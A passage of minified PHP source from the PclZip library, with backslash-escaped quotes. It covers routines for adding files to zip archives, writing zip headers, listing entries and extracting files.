$this->privSwapBackMagicQuotes(); return $v_result; } $v_offset = @ftell($this->zip_fd); $v_size = $v_central_dir[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++) { if ($v_header_list[$i][\'status\'] == \'ok\') { if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); $this->privSwapBackMagicQuotes(); return $v_result; } $v_count++; } $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = $v_central_dir[\'comment\']; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) { $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT]; } if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment; } $v_size = @ftell($this->zip_fd)-$v_offset; if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir[\'entries\'], $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); $this->privSwapBackMagicQuotes(); return $v_result; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $this->privCloseFd(); @fclose($v_zip_temp_fd); $this->privSwapBackMagicQuotes(); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); return $v_result; } function privOpenFd($p_mode) { $v_result=1; if ($this->zip_fd != 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Zip file \\\'\'.$this->zipname.\'\\\' already open\'); return PclZip::errorCode(); } if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive \\\'\'.$this->zipname.\'\\\' in \'.$p_mode.\' mode\'); return PclZip::errorCode(); } return $v_result; } function privCloseFd() { $v_result=1; if ($this->zip_fd != 0) @fclose($this->zip_fd); $this->zip_fd = 0; return $v_result; } function privAddList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { return $v_result; } $v_offset = @ftell($this->zip_fd); for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++) { if ($v_header_list[$i][\'status\'] == \'ok\') { if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { return $v_result; } $v_count++; } $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = \'\'; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } $v_size = @ftell($this->zip_fd)-$v_offset; if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); return $v_result; } return $v_result; } function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_header = array(); $v_nb = sizeof($p_result_list); for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) { $p_filedescr_list[$j][\'filename\'] = PclZipUtilTranslateWinPath($p_filedescr_list[$j][\'filename\'], false); if ($p_filedescr_list[$j][\'filename\'] == "") { continue; } if ( ($p_filedescr_list[$j][\'type\'] != \'virtual_file\') && (!file_exists($p_filedescr_list[$j][\'filename\']))) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File \'".$p_filedescr_list[$j][\'filename\']."\' does not exist"); return PclZip::errorCode(); } if ( ($p_filedescr_list[$j][\'type\'] == \'file\') || ($p_filedescr_list[$j][\'type\'] == \'virtual_file\') || ( ($p_filedescr_list[$j][\'type\'] == \'folder\') && ( !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]) || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) ) { $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header, $p_options); if ($v_result != 1) { return $v_result; } $p_result_list[$v_nb++] = $v_header; } } return $v_result; } function privAddFile($p_filedescr, &$p_header, &$p_options) { $v_result=1; $p_filename = $p_filedescr[\'filename\']; if ($p_filename == "") { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)"); return PclZip::errorCode(); } clearstatcache(); $p_header[\'version\'] = 20; $p_header[\'version_extracted\'] = 10; $p_header[\'flag\'] = 0; $p_header[\'compression\'] = 0; $p_header[\'crc\'] = 0; $p_header[\'compressed_size\'] = 0; $p_header[\'filename_len\'] = strlen($p_filename); $p_header[\'extra_len\'] = 0; $p_header[\'disk\'] = 0; $p_header[\'internal\'] = 0; $p_header[\'offset\'] = 0; $p_header[\'filename\'] = $p_filename; $p_header[\'stored_filename\'] = $p_filedescr[\'stored_filename\']; $p_header[\'extra\'] = \'\'; $p_header[\'status\'] = \'ok\'; $p_header[\'index\'] = -1; if ($p_filedescr[\'type\']==\'file\') { $p_header[\'external\'] = 0x00000000; $p_header[\'size\'] = filesize($p_filename); } else if ($p_filedescr[\'type\']==\'folder\') { $p_header[\'external\'] = 0x00000010; $p_header[\'mtime\'] = filemtime($p_filename); $p_header[\'size\'] = filesize($p_filename); } else if ($p_filedescr[\'type\'] == \'virtual_file\') { $p_header[\'external\'] = 0x00000000; $p_header[\'size\'] = strlen($p_filedescr[\'content\']); } if (isset($p_filedescr[\'mtime\'])) { $p_header[\'mtime\'] = $p_filedescr[\'mtime\']; } else if ($p_filedescr[\'type\'] == \'virtual_file\') { $p_header[\'mtime\'] = time(); } else { $p_header[\'mtime\'] = filemtime($p_filename); } if (isset($p_filedescr[\'comment\'])) { $p_header[\'comment_len\'] = strlen($p_filedescr[\'comment\']); $p_header[\'comment\'] = $p_filedescr[\'comment\']; } else { $p_header[\'comment_len\'] = 0; $p_header[\'comment\'] = \'\'; } if (isset($p_options[PCLZIP_CB_PRE_ADD])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header); if ($v_result == 0) { $p_header[\'status\'] = "skipped"; $v_result = 1; } if ($p_header[\'stored_filename\'] != $v_local_header[\'stored_filename\']) { $p_header[\'stored_filename\'] = PclZipUtilPathReduction($v_local_header[\'stored_filename\']); } } if ($p_header[\'stored_filename\'] == "") { $p_header[\'status\'] = "filtered"; } if (strlen($p_header[\'stored_filename\']) > 0xFF) { $p_header[\'status\'] = \'filename_too_long\'; } if ($p_header[\'status\'] == \'ok\') { if ($p_filedescr[\'type\'] == \'file\') { if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header[\'size\'])) ) ) { $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } else { if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file \'$p_filename\' in binary read mode"); return PclZip::errorCode(); } $v_content = @fread($v_file, $p_header[\'size\']); @fclose($v_file); $p_header[\'crc\'] = @crc32($v_content); if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { $p_header[\'compressed_size\'] = $p_header[\'size\']; $p_header[\'compression\'] = 0; } else { $v_content = @gzdeflate($v_content); $p_header[\'compressed_size\'] = strlen($v_content); $p_header[\'compression\'] = 8; } if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } @fwrite($this->zip_fd, $v_content, $p_header[\'compressed_size\']); } } else if ($p_filedescr[\'type\'] == \'virtual_file\') { $v_content = $p_filedescr[\'content\']; $p_header[\'crc\'] = @crc32($v_content); if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { $p_header[\'compressed_size\'] = $p_header[\'size\']; $p_header[\'compression\'] = 0; } else { $v_content = @gzdeflate($v_content); $p_header[\'compressed_size\'] = strlen($v_content); $p_header[\'compression\'] = 8; } if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } @fwrite($this->zip_fd, $v_content, $p_header[\'compressed_size\']); } else if ($p_filedescr[\'type\'] == \'folder\') { if (@substr($p_header[\'stored_filename\'], -1) != \'/\') { $p_header[\'stored_filename\'] .= \'/\'; } $p_header[\'size\'] = 0; $p_header[\'external\'] = 0x00000010; if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } } } if (isset($p_options[PCLZIP_CB_POST_ADD])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header); if ($v_result == 0) { $v_result = 1; } } return $v_result; } function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options) { $v_result=PCLZIP_ERR_NO_ERROR; $p_filename = $p_filedescr[\'filename\']; if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file \'$p_filename\' in binary read mode"); return PclZip::errorCode(); } $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.gz\'; if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = filesize($p_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file, $v_read_size); @gzputs($v_file_compressed, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_file); @gzclose($v_file_compressed); if (filesize($v_gzip_temp_name) < 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'gzip temporary file \\\'\'.$v_gzip_temp_name.\'\\\' has invalid filesize - should be minimum 18 bytes\'); return PclZip::errorCode(); } if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary read mode\'); return PclZip::errorCode(); } $v_binary_data = @fread($v_file_compressed, 10); $v_data_header = unpack(\'a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os\', $v_binary_data); $v_data_header[\'os\'] = bin2hex($v_data_header[\'os\']); @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8); $v_binary_data = @fread($v_file_compressed, 8); $v_data_footer = unpack(\'Vcrc/Vcompressed_size\', $v_binary_data); $p_header[\'compression\'] = ord($v_data_header[\'cm\']); $p_header[\'crc\'] = $v_data_footer[\'crc\']; $p_header[\'compressed_size\'] = filesize($v_gzip_temp_name)-18; @fclose($v_file_compressed); if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary read mode\'); return PclZip::errorCode(); } fseek($v_file_compressed, 10); $v_size = $p_header[\'compressed_size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file_compressed, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_file_compressed); @unlink($v_gzip_temp_name); return $v_result; } function privCalculateStoredFilename(&$p_filedescr, &$p_options) { $v_result=1; $p_filename = $p_filedescr[\'filename\']; if (isset($p_options[PCLZIP_OPT_ADD_PATH])) { $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH]; } else { $p_add_dir = \'\'; } if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) { $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH]; } else { $p_remove_dir = \'\'; } if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } else { $p_remove_all_dir = 0; } if (isset($p_filedescr[\'new_full_name\'])) { $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr[\'new_full_name\']); } else { if (isset($p_filedescr[\'new_short_name\'])) { $v_path_info = pathinfo($p_filename); $v_dir = \'\'; if ($v_path_info[\'dirname\'] != \'\') { $v_dir = $v_path_info[\'dirname\'].\'/\'; } $v_stored_filename = $v_dir.$p_filedescr[\'new_short_name\']; } else { $v_stored_filename = $p_filename; } if ($p_remove_all_dir) { $v_stored_filename = basename($p_filename); } else if ($p_remove_dir != "") { if (substr($p_remove_dir, -1) != \'/\') $p_remove_dir .= "/"; if ( (substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./")) { if ( (substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./")) { $p_remove_dir = "./".$p_remove_dir; } if ( (substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./")) { $p_remove_dir = substr($p_remove_dir, 2); } } $v_compare = PclZipUtilPathInclusion($p_remove_dir, $v_stored_filename); if ($v_compare > 0) { if ($v_compare == 2) { $v_stored_filename = ""; } else { $v_stored_filename = substr($v_stored_filename, strlen($p_remove_dir)); } } } $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename); if ($p_add_dir != "") { if (substr($p_add_dir, -1) == "/") $v_stored_filename = $p_add_dir.$v_stored_filename; else $v_stored_filename = $p_add_dir."/".$v_stored_filename; } } $v_stored_filename = PclZipUtilPathReduction($v_stored_filename); $p_filedescr[\'stored_filename\'] = $v_stored_filename; return $v_result; } function privWriteFileHeader(&$p_header) { $v_result=1; $p_header[\'offset\'] = ftell($this->zip_fd); $v_date = getdate($p_header[\'mtime\']); $v_mtime = ($v_date[\'hours\']<<11) + ($v_date[\'minutes\']<<5) + $v_date[\'seconds\']/2; $v_mdate = (($v_date[\'year\']-1980)<<9) + ($v_date[\'mon\']<<5) + $v_date[\'mday\']; $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, $p_header[\'version_extracted\'], $p_header[\'flag\'], $p_header[\'compression\'], $v_mtime, $v_mdate, $p_header[\'crc\'], $p_header[\'compressed_size\'], $p_header[\'size\'], strlen($p_header[\'stored_filename\']), $p_header[\'extra_len\']); fputs($this->zip_fd, $v_binary_data, 30); if (strlen($p_header[\'stored_filename\']) != 0) { fputs($this->zip_fd, $p_header[\'stored_filename\'], strlen($p_header[\'stored_filename\'])); } if ($p_header[\'extra_len\'] != 0) { fputs($this->zip_fd, $p_header[\'extra\'], $p_header[\'extra_len\']); } return $v_result; } function privWriteCentralFileHeader(&$p_header) { $v_result=1; $v_date = getdate($p_header[\'mtime\']); $v_mtime = ($v_date[\'hours\']<<11) + ($v_date[\'minutes\']<<5) + $v_date[\'seconds\']/2; $v_mdate = (($v_date[\'year\']-1980)<<9) + ($v_date[\'mon\']<<5) + $v_date[\'mday\']; $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, $p_header[\'version\'], $p_header[\'version_extracted\'], $p_header[\'flag\'], $p_header[\'compression\'], $v_mtime, $v_mdate, $p_header[\'crc\'], $p_header[\'compressed_size\'], $p_header[\'size\'], strlen($p_header[\'stored_filename\']), $p_header[\'extra_len\'], $p_header[\'comment_len\'], $p_header[\'disk\'], $p_header[\'internal\'], $p_header[\'external\'], $p_header[\'offset\']); fputs($this->zip_fd, $v_binary_data, 46); if (strlen($p_header[\'stored_filename\']) != 0) { fputs($this->zip_fd, $p_header[\'stored_filename\'], strlen($p_header[\'stored_filename\'])); } if ($p_header[\'extra_len\'] != 0) { fputs($this->zip_fd, $p_header[\'extra\'], $p_header[\'extra_len\']); } if ($p_header[\'comment_len\'] != 0) { fputs($this->zip_fd, $p_header[\'comment\'], $p_header[\'comment_len\']); } return $v_result; } function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment) { $v_result=1; $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, $p_nb_entries, $p_size, $p_offset, strlen($p_comment)); fputs($this->zip_fd, $v_binary_data, 22); if (strlen($p_comment) != 0) { fputs($this->zip_fd, $p_comment, strlen($p_comment)); } return $v_result; } function privList(&$p_list) { $v_result=1; $this->privDisableMagicQuotes(); if (($this->zip_fd = @fopen($this->zipname, \'rb\')) == 0) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive \\\'\'.$this->zipname.\'\\\' in binary read mode\'); return PclZip::errorCode(); } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_central_dir[\'offset\'])) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } for ($i=0; $i<$v_central_dir[\'entries\']; $i++) { if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_header[\'index\'] = $i; $this->privConvertHeader2FileInfo($v_header, $p_list[$i]); unset($v_header); } $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privConvertHeader2FileInfo($p_header, &$p_info) { $v_result=1; $v_temp_path = PclZipUtilPathReduction($p_header[\'filename\']); $p_info[\'filename\'] = $v_temp_path; $v_temp_path = PclZipUtilPathReduction($p_header[\'stored_filename\']); $p_info[\'stored_filename\'] = $v_temp_path; $p_info[\'size\'] = $p_header[\'size\']; $p_info[\'compressed_size\'] = $p_header[\'compressed_size\']; $p_info[\'mtime\'] = $p_header[\'mtime\']; $p_info[\'comment\'] = $p_header[\'comment\']; $p_info[\'folder\'] = (($p_header[\'external\']&0x00000010)==0x00000010); $p_info[\'index\'] = $p_header[\'index\']; $p_info[\'status\'] = $p_header[\'status\']; $p_info[\'crc\'] = $p_header[\'crc\']; return $v_result; } function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; $this->privDisableMagicQuotes(); if ( ($p_path == "") || ( (substr($p_path, 0, 1) != "/") && (substr($p_path, 0, 3) != "../") && (substr($p_path,1,2)!=":/"))) $p_path = "./".$p_path; if (($p_path != "./") && ($p_path != "/")) { while (substr($p_path, -1) == "/") { $p_path = substr($p_path, 0, strlen($p_path)-1); } } if (($p_remove_path != "") && (substr($p_remove_path, -1) != \'/\')) { $p_remove_path .= \'/\'; } $p_remove_path_size = strlen($p_remove_path); if (($v_result = $this->privOpenFd(\'rb\')) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_pos_entry = $v_central_dir[\'offset\']; $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir[\'entries\']; $i++) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } $v_header = array(); if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_header[\'index\'] = $i; $v_pos_entry = ftell($this->zip_fd); $v_extract = false; if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) { if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { if ( (strlen($v_header[\'stored_filename\']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header[\'stored_filename\'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_extract = true; } } elseif ($v_header[\'stored_filename\'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_extract = true; } } } else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header[\'stored_filename\'])) { $v_extract = true; } } else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) { if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\'])) { $v_extract = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']>$i) { break; } } } else { $v_extract = true; } if ( ($v_extract) && ( ($v_header[\'compression\'] != 8) && ($v_header[\'compression\'] != 0))) { $v_header[\'status\'] = \'unsupported_compression\'; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, "Filename \'".$v_header[\'stored_filename\']."\' is " ."compressed by an unsupported compression " ."method (".$v_header[\'compression\'].") "); return PclZip::errorCode(); } } if (($v_extract) && (($v_header[\'flag\'] & 1) == 1)) { $v_header[\'status\'] = \'unsupported_encryption\'; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, "Unsupported encryption for " ." filename \'".$v_header[\'stored_filename\'] ."\'"); return PclZip::errorCode(); } } if (($v_extract) && ($v_header[\'status\'] != \'ok\')) { $v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++]); if ($v_result != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_extract = false; } if ($v_extract) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_header[\'offset\'])) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { $v_string = \'\'; $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $p_file_list[$v_nb_extracted][\'content\'] = $v_string; $v_nb_extracted++; if ($v_result1 == 2) { break; } } elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { $v_result1 = $this->privExtractFileInOutput($v_header, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } if ($v_result1 == 2) { break; } } else { $v_result1 = $this->privExtractFile($v_header, $p_path, $p_remove_path, $p_remove_all_path, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } if ($v_result1 == 2) { break; } } } } $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if ($p_remove_all_path == true) { if (($p_entry[\'external\']&0x00000010)==0x00000010) { $p_entry[\'status\'] = "filtered"; return $v_result; } $p_entry[\'filename\'] = basename($p_entry[\'filename\']); } else if ($p_remove_path != "") { if (PclZipUtilPathInclusion($p_remove_path, $p_entry[\'filename\']) == 2) { $p_entry[\'status\'] = "filtered"; return $v_result; } $p_remove_path_size = strlen($p_remove_path); if (substr($p_entry[\'filename\'], 0, $p_remove_path_size) == $p_remove_path) { $p_entry[\'filename\'] = substr($p_entry[\'filename\'], $p_remove_path_size); } } if ($p_path != \'\') { $p_entry[\'filename\'] = $p_path."/".$p_entry[\'filename\']; } if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { $v_inclusion = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], $p_entry[\'filename\']); if ($v_inclusion == 0) { PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, "Filename \'".$p_entry[\'filename\']."\' is " ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION"); return PclZip::errorCode(); } } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry[\'status\'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry[\'status\'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry[\'filename\'] = $v_local_header[\'filename\']; } if ($p_entry[\'status\'] == \'ok\') { if (file_exists($p_entry[\'filename\'])) { if (is_dir($p_entry[\'filename\'])) { $p_entry[\'status\'] = "already_a_directory"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, "Filename \'".$p_entry[\'filename\']."\' is " ."already used by an existing directory"); return PclZip::errorCode(); } } else if (!is_writeable($p_entry[\'filename\'])) { $p_entry[\'status\'] = "write_protected"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Filename \'".$p_entry[\'filename\']."\' exists " ."and is write protected"); return PclZip::errorCode(); } } else if (filemtime($p_entry[\'filename\']) > $p_entry[\'mtime\']) { if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { } else { $p_entry[\'status\'] = "newer_exist"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Newer version of \'".$p_entry[\'filename\']."\' exists " ."and option PCLZIP_OPT_REPLACE_NEWER is not selected"); return PclZip::errorCode(); } } } else { } } else { if ((($p_entry[\'external\']&0x00000010)==0x00000010) || (substr($p_entry[\'filename\'], -1) == \'/\')) $v_dir_to_check = $p_entry[\'filename\']; else if (!strstr($p_entry[\'filename\'], "/")) $v_dir_to_check = ""; else $v_dir_to_check = dirname($p_entry[\'filename\']); if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry[\'external\']&0x00000010)==0x00000010))) != 1) { $p_entry[\'status\'] = "path_creation_fail"; $v_result = 1; } } } if ($p_entry[\'status\'] == \'ok\') { if (!(($p_entry[\'external\']&0x00000010)==0x00000010)) { if ($p_entry[\'compression\'] == 0) { if (($v_dest_file = @fopen($p_entry[\'filename\'], \'wb\')) == 0) { $p_entry[\'status\'] = "write_error"; return $v_result; } $v_size = $p_entry[\'compressed_size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } fclose($v_dest_file); touch($p_entry[\'filename\'], $p_entry[\'mtime\']); } else { if (($p_entry[\'flag\'] & 1) == 1) { PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 